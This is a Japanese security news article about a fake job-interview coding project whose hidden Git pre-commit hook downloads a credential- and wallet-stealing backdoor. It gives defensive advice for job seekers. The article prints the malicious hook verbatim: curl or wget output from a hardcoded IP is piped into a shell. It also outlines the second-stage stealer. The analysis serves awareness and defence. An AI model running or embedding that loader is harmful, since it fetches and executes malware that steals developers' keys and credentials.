面接課題に仕込まれたトロイの木馬——プログラマーのSSH鍵を狙う巧妙な手口

セキュリティソーシャルエンジニアリング採用

データソース:HN + web research · HN

面接課題がトロイの木馬に——「採用」の背後にあった周到な計画

先週の木曜日、Appajiという開発者がLinkedInで採用スカウトメッセージを受け取った。相手が提示したのは月額1万〜1万5000ドルのリモートPython開発職。面接プロセスはシンプルで、オンラインでの面談1回と「持ち帰り課題」(take-home project)のみ。給与は魅力的で、企業はY Combinator出身のスタートアップ——一見するとすべてが妥当に見えた。

しかしAppajiは警戒を怠らなかった。プロジェクトの圧縮ファイルをローカルにダウンロードし、習慣的に tree -a を実行して隠しディレクトリを確認した。密密麻麻としたファイルツリーの中に、彼は不審な .git/hooks/pre-commit ファイルを発見した。開いてみると——そこにはOSを自動判別するリモートダウンロードスクリプトが1行書かれていた。macOS、Linux、Windowsに応じて、対応するバックドアプログラムを静かにダウンロードし、バックグラウンドで音もなく実行する仕組みだった。それは本質的に、綿密に設計された攻撃であり——SSH鍵、AWS認証情報、暗号通貨ウォレットなどを、求職者がまったく気づかないうちに、開発環境全体を開かれた金庫に変えてしまうものだった。

LinkedInスカウトメッセージのスクリーンショット:一見まったく正常な採用案内

図注:受信したLinkedInのメッセージ。採用側が積極的に給与範囲を開示している。実際の採用では珍しくないが、事後的に見れば、高すぎる給与こそが最初のレッドフラグだった。

「面接」の完全なシナリオ

筆者はAppajiが公開した技術的分析に基づき、この事件の完全な攻撃チェーンを再構築した。

第一段階:フィッシング——高給に断れる者はいない

採用側はLinkedInで積極的にターゲットにメッセージを送る。給与レンジは極めて魅力的で、インド市場の水準をはるかに上回る。被害者の第一反応はもちろん「ラッキーだ」というもの。面接プロセスも驚くほどスムーズに進む:履歴書を提出すればすぐに通過する。

第二段階:一見プロフェッショナルなプログラミング課題

相手からGoogle Driveのリンクが送られてくる。中にはZIPファイルとPDFの面接説明書が入っている。プロジェクトコードはFastAPIのバックエンドサービスで、SQLAlchemyをORMに使用——標準的なPython面接課題のテンプレートだ。requirements.txtはきれいなままで、不審なサードパーティパッケージは一切ない。

第三段階:.git/hooksに仕込まれた「時限爆弾」

しかしAppajiが tree -a ですべての隠しファイルを確認したところ、.git/hooks ディレクトリに20以上のGitフックスクリプトが仕込まれていることが判明した。Gitフック(Git hooks)はGitバージョン管理システムの比較的マイナーだが強力な機能で、特定のイベント(git commit など)発生時に指定したスクリプトを自動実行できる。本来は生産性向上ツールだが、悪用されれば理想的なマルウェアの運搬体となる。

その pre-commit フックは、git commit 実行時に自動的にトリガーされる。その中核ロジックはわずか数行だ:

#!/bin/sh
case "$(uname -s)" in
  Darwin*) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;;
  Linux*) wget -qO- 'http://45.61.164.38:5777/task/linux?id=402' -L | sh > /dev/null 2>&1 & ;;
  MINGW*|MSYS*|CYGWIN*) curl -sL http://45.61.164.38:5777/task/windows?id=402 -L | cmd > /dev/null 2>&1 & ;;
esac

このコードはまずターゲットのOSを判別し、リモートサーバーから後続のスクリプトをダウンロードしてバックグラウンドで静かに実行する——ユーザーの操作は一切不要で、ポップアップも表示されない。git commit を実行したその瞬間に、目と鼻の先で処理が動き出すのだ。

PDFの面接説明書には、なぜかGit操作の問題が含まれていた——受験者にコードを修正してコミットするよう求めるもので、まさに被害者にこのフックをトリガーさせるためのものだった。

第四段階:多段階ペイロード——「npm依存関係」に隠された情報窃取プログラム

第一段階のスクリプトは、同じサーバーから第二段階のスクリプトを取得し、~/Documents/ に静かに保存して .sh ファイルにリネームし、nohup でバックグラウンド実行する。第二段階のスクリプトはより目的が明確で、自動的にNode.jsをインストールし、parser.jspackage.json をダウンロードして、npmで依存関係をインストールした上で parser.js を実行する。

この parser.js は高度に難読化されていたが、package.json が攻撃の意図を露呈している:依存関係には clipboardy(クリップボード読み取り)、basic-ftp(FTP転送)、axios(HTTPリクエスト)、jsonwebtoken(JWTトークン操作)、そして hardhat(イーサリアム開発ツール)が含まれていた。攻撃者がSSH鍵やAWS認証情報だけでなく、暗号通貨ウォレットの情報も狙っていることを示唆している。

給与のスクリーンショット:月額1万〜1万5000ドル、市場水準を大幅に上回る

図注:採用側は最初の連絡で給与範囲を開示していた。事後分析では、高すぎる給与自体が典型的な「餌」の設計だったと考えられている——ターゲットを興奮と期待で油断させるためのものだ。

別の角度から見る:攻撃者はどの程度プロフェッショナルだったのか?

この事件は通常のマルウェアとは一線を画す。

巧妙なトリガー機構。攻撃者はPDFの面接説明書にわざわざGit操作の問題を含め、被害者に「自発的に」git commit を実行させて悪意のあるコードをトリガーさせた。每一步が被害者の行動を計算し尽くしている。

マルチプラットフォーム対応。攻撃スクリプトはmacOS、Linux、Windowsの3大OSをカバーし、プラットフォームごとに異なるダウンロードツールとコマンドを使用している。攻撃者は当初から大規模な、特定の開発者種別に限定されない攻撃を計画していたことを示している。

身元追跡機構。リクエストURL中の id=402 パラメータは静的ではない。このIDを変更すると異なるスクリプトが返される。筆者は、攻撃者が被害者ごとに一意の識別子を割り当て、どのターゲットが「引っかかったか」を追跡し、それに応じて異なるペイロードを投下していた可能性が高いと推測する。

複数の感染経路。攻撃者は .git/hooks にマルウェアを仕込むだけでなく、別の亜種では .vscode ディレクトリ下のVSCode起動タスクを介してもマルウェアを拡散していた。VSCodeでプロジェクトディレクトリを開き「信頼」するだけで、悪意のあるコードが自動実行される仕組みだ。

しかしアマチュアな側面も。攻撃者が使用するC2サーバーのIPアドレスはハードコードされた平文であり、ドメイン名による偽装もなく、現代のマルウェアとしてはやや「原始的」である。ただし、サーバーのSSHバージョンは最新の9.6p1であり——攻撃者が運用セキュリティにある程度の意識を持っていることを示している。

この「混合」した特徴——ずさんさと周到さが同居している——から、筆者はこれが中規模の犯罪グループが攻撃ツールを急速に反復させているものだと考える。

プログラマーが「獲物」にされた理由

攻撃対象を求職中の開発者に絞ったのは偶然ではない。

鍵がそのまま資産。プログラマー(特にバックエンドやDevOps系の開発者)のPCには、SSH秘密鍵、AWS/GCP/Azureのアクセス認証情報、データベースパスワード、APIトークンなどがほぼ確実に存在する。開発者のPC1台を突破すれば、その企業のクラウドインフラ全体への鍵を手に入れたも同然だ。SSH秘密鍵1本のブラックマーケットでの価格は、一般人の銀行口座情報をはるかに上回る。

信頼の慣性。面接という場は攻撃に自然なカモフラージュを提供する。求職中の人間の心理状態は「認められたい」と「相手のプロセスに従う」というものだ。面接官にプログラミング課題を出され、リポジトリをクローンし、コマンドを実行するよう求められる——これらは受験者にとってはまったく正常に見える。攻撃者はこの非対称な信頼関係を正確に利用した。

技術的ハードルの低さと収益の高さ。それらしく見えるFastAPIプロジェクトを作るのは数時間で済む。実際に存在するオープンソースのリポジトリをクローンし、悪意のあるフックを追加して、再パッケージ化する——コストは極めて低いが、成功した場合の潜在的収益は数十万ドルにも上る。

「面接攻撃」が倍増中

Appajiの遭遇は決して孤立した事例ではない。Microsoftのセキュリティチームはこの種の攻撃を 「Contagious Interview」(伝染性面接) と命名し、少なくとも2022年12月から活動が確認されており、攻撃者は暗号通貨やAI企業の採用担当者を装い、コードホスティングプラットフォームを介してバックドア付きのコーディング課題を配布していると報告している。

セキュリティコミュニティの統計によると、2026年上半年のこうした「面接攻撃」の件数は前年同期比で2倍以上に増加している。Hacker Newsでは複数の開発者が同様の遭遇を共有している——そのうちの1人、IvanGoncharovという開発者は、オンライン面接でリポジトリのクローンと実行を技術評価として求められ、面接後に「CTO」が病気を理由に以降のプロセスをキャンセルし、数日後にはHRのLinkedInアカウントも消えたと述べている。Appajiの記事を読んで初めて、自分がすでに感染していたことに気づいたという——彼は偶然にも週間ダウンロード数4300万を超える人気npmパッケージの元メンテナーであり、そのためより価値の高いターゲットとなっており、最終的にPCを完全にフォーマットしてOSを再インストールせざるを得なかった。

「.npl」拡張子の検索結果——この特殊な接尾辞は悪意のあるペイロードの初期命名に使用された

図注:調査により、.npl 拡張子は既知のAPT攻撃活動と関連があることが判明。攻撃者は第一段階のペイロードでこの拡張子を使用し、単純なファイル名チェックを回避していた。

身を守るには?求職者への実践的アドバイス

筆者は必要以上に恐怖をあおるつもりはないが、基本的な防御策を知っておけば、次の被害者になるのを防げる。以下にいくつかのアドバイスを挙げる。

1. 面接課題は必ず隔離環境で実行する。 ローカルで実行する前に、仮想マシンやDockerコンテナで隔離する。tree -als -la を実行して、不審な隠しファイルや仕込まれたフックファイルがないか確認する。

2. .git/hooks.vscode ディレクトリをチェックする。 面接課題にGitリポジトリが付属している場合、まず .git/hooks ディレクトリに余分なスクリプトがないか確認する。特に pre-commitpost-checkout に注意。VSCodeプロジェクトの場合は .vscode/tasks.json.vscode/launch.json をチェックする。

3. 「高給+簡単な面接」の組み合わせに警戒する。 高給それ自体が問題というわけではないが、市場価格を大きく上回る給与と極端に簡略化された面接プロセスの組み合わせは、それだけで警戒すべきシグナルである。

4. 面接用のPCに重要な認証情報を置かない。 求職活動中は、「クリーンな」開発用端末または仮想環境を使用し、重要なSSH鍵やクラウドサービス認証情報を、面接課題を実行する可能性のあるマシンに保存しないことを検討する。

5. 依存関係とビルドスクリプトを確認する。 npm installpip install を実行する前に、package.jsonrequirements.txtMakefile を確認する——不審な依存パッケージはないか?インストール時にトリガーされるスクリプトはないか?

6. 採用担当者のLinkedInプロフィールの「品質」に注目する。 採用担当者のLinkedInアカウントが極端に「新しい」(作成間もない、コネクションが少ない、経歴があいまい)場合、偽アカウントである可能性が高い。本物の採用担当者は通常、長年の人事経験と可視性のある職業ネットワークを持っている。

あとがき

筆者がこのストーリーを読み返して最も考えさせられるのは、「あと少しで信じてしまうところだった」という危うさである。Appaji自身も認めているように、もしCTF大会で培った隠しディレクトリを確認する習慣がなければ、彼もおそらくそのまま git commit してプッシュしていただろう——彼は攻撃者が想定する「合格被害者」のプロフィールに完全に合致していた:経験があり、スキルが高く、求職中の開発者である。

この攻撃の恐ろしさは、それが人間社会で最も基本的な信頼メカニズムを利用している点にある——「面接官が指示することは、安全で必要なことのはずだ」。悪意のあるコードがごく普通の求職プロセスに偽装されているとき、最新のアンチウイルスソフトウェアも無力である。

おそらく、デジタルセキュリティの戦場において、「今回くらいは大丈夫だろう」という心の隙こそが、真の弱点なのだ。


参考リンク

  • I Inspected My Take-Home Interview Project. It Was a Whole Operation(元記事)
  • Contagious Interview: Malware delivered through fake developer job interviews(Microsoft Security Blog)
  • Fake Job Interview Backdoor Malware Targeting Developer Machines(DEV Community)
  • Contagious Interview malware in SVG images: DPRK campaign(Elastic Security Labs)
  • Hacker News 議論スレッド(ID: 49013036)